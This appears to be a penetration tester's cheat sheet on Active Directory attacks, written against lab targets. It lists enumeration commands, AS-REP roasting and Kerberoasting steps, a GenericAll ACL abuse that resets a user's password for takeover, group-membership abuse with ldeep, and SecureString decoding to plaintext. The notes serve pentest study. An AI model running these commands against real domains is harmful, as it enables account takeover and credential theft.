π° Active Directory β Methodology & Enumeration
Kerberos attacks: kerberos. Graphing: bloodhound. Tooling & lateral movement: tools.
Steps
- Enum 139/445 β
enum4linux -a resourced.local(or-U -o IP);smbclientto the DC (139-445-smb). - Find the TLD (usually
.local) β often visible in Nmap output. - Enumerate users / bruteforce Kerberos β Kerbrute, msfconsole (kerberos).
- AS-REP roast accounts without pre-auth (kerberos).
- Visualize with BloodHound + Neo4j (needs some credential first) (bloodhound).
- Escalate β secretsdump, psexec with hashes (tools).
xfreerdp /u:stephanie /d:corp.com /v:192.168.50.75
enum4linux -U -o 192.168.1.200
enum4linux -a resourced.localEnumeration β built-in & PowerView
Built-in
net user /domain # all domain users
net user jeffadmin /domain # detail on one user
net group /domain # all domain groupsPowerView
Import-Module .\powerview.ps1
Get-NetDomain # domain info
Get-NetUser | select FIELD # users
Get-NetGroup "NAME" # a group's members
Get-NetComputer # domain computers
Find-LocalAdminAccess # where the current user is local admin
Get-NetUser -SPN # service accounts β Kerberoast
Find-DomainShare # reachable sharesImpacket (Kali)
GetADUsers.py -all -dc-ip 192.168.219.122 domain.name/user:passAbuse a strong ACL (GenericAll β reset password)
When: BloodHound shows you have
GenericAll/GenericWriteover a user. Goal: take over that account. GenericAll is the most powerful edge.
- Reset the targetβs password:
$pass = ConvertTo-SecureString 'Password123' -AsPlainText -Force Set-DomainUserPassword -Identity robert -AccountPassword $pass - Become them and check where theyβre admin:
runas /user:corp.com\robert cmd.exe Find-LocalAdminAccess
Alternatively, add a user to a remote-access group with ldeep:
python3 __main__.py ldap -u tracy.white -p '...' -d nara-security.com -s ldap://nara-security.com \
add_to_group "CN=TRACY WHITE,OU=STAFF,DC=NARA-SECURITY,DC=COM" "CN=REMOTE ACCESS,OU=remote,DC=NARA-SECURITY,DC=COM"MS SecureString decode
$pw = Get-Content .creds.txt | ConvertTo-SecureString
$bstr = [Runtime.InteropServices.Marshal]::SecureStringToBSTR($pw)
[Runtime.InteropServices.Marshal]::PtrToStringAuto($bstr)References: Attacktive Directory writeup Β· PG Hutch Β· WADComs Β· PowerView tips v2 / v3.